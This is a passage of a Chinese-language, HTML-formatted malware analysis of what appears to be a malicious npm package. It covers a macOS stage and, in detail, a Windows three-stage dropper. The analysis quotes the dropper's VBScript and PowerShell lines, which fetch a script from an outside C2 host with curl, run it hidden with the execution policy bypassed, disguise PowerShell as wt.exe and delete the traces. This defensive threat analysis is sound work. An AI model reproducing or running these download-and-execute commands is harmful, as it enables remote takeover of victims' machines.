0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">mond</span></code><span leaf=""> 可能是 &#34;Activity Monitor Daemon&#34; 的缩写，与该目录下的合法 Apple 后台进程混在一起</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">临时文件：</span></strong><span leaf=""> AppleScript 临时文件执行后</span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">自动删除</span></strong></p><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">4.2 Windows — VBScript + PowerShell 三阶段投放器</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">触发条件：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">os.platform() === &#34;win32&#34;</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">三阶段执行链：</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">阶段 1 — 定位并复制 PowerShell：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">where powershell → 复制到 %PROGRAMDATA%\wt.exe</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">将 PowerShell 二进制伪装为 Windows Terminal 可执行文件，提供持久化的解释器副本。</span></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">阶段 2 — 生成并执行 VBScript：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">Set</span></span><span leaf=""> objShell = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">CreateObject</span></span><span leaf="">(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;WScript.Shell&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">objShell.Run </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;cmd.exe /c curl -s -X POST &#34;</span></span><span leaf=""> &amp; _</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;-d &#34;&#34;packages.npm.org/product1&#34;&#34; &#34;</span></span><span leaf=""> &amp; _</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;&#34;&#34;<a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a>&#34;&#34; &gt; &#34;&#34;%TEMP%\6202033.ps1&#34;&#34; &#34;</span></span><span leaf=""> &amp; _</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;&amp; powershell -w hidden -ep bypass -file &#34;&#34;%TEMP%\6202033.ps1&#34;&#34; &#34;</span></span><span leaf=""> &amp; _</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;&#34;&#34;<a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a>&#34;&#34; &amp; del &#34;&#34;%TEMP%\6202033.ps1&#34;&#34; /f&#34;</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">0</span></span><span leaf="">, </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">False</span></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">执行方式：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">cscript //nologo %TEMP%\6202033.vbs</span></code></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">0, False</span></code><span leaf=""> — 完全隐藏 cmd.exe 窗口，无任何 UI 输出</span></p></li></ul><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">阶段 3 — PowerShell RAT 执行：</span></strong></p><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">powershell -WindowStyle Hidden -ExecutionPolicy Bypass -file %TEMP%\6202033.ps1 <a href="http://sfrclak.com:8000/6202033" target="_blank">http://sfrclak.com:8000/6202033</a></span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">C2 POST Body：</span></strong><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">packages.npm.org/product1</span></code></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">文件系统产物：</span></strong></p><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);padding: 0px 8px;max-width: 100%;overflow: auto;"><table style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: inherit;text-indent: 0px;border-collapse: collapse;border-spacing: 0px;"><thead><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">文件</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">用途</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">生命周期</span></p></td></tr></thead><tbody><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%PROGRAMDATA%\wt.exe</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">持久化的 PowerShell 解释器副本</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">持久</span></strong><p><span leaf=""> — 唯一残留</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%TEMP%\6202033.vbs</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">VBScript 启动器</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">自删除</span></strong><p><span leaf=""> — 执行后自动删除</span></p></td></tr><tr style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);"><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">%TEMP%\6202033.ps1</span></code></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><p><span leaf="">PowerShell RAT 脚本</span></p></td><td style="box-sizing: border-box;border: 1px solid rgb(223, 223, 223);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;padding: 0.5em 1em;color: rgb(63, 63, 63);word-break: keep-all;"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">自删除</span></strong><p><span leaf=""> — 执行后自动删除</span></p></td></tr></tbody></table></p><blockquote style="box-sizing: border-box;border-width: 0px 0px 0px 4px;border-style: solid;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116);margin: 0px 0px 1em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;font-style: italic;padding: 1em 1em 1em 2em;border-radius: 6px;color: rgba(0, 0, 0, 0.6);background: rgb(247, 247, 247);box-shadow: rgba(0, 0, 0, 0.05) 0px 4px 6px;"><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 1em;display: block;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">文件名 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">6202033</span></code><span leaf=""> 直接使用 C2 路径段（Campaign ID），是攻击者行动标识。</span></p></blockquote><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, 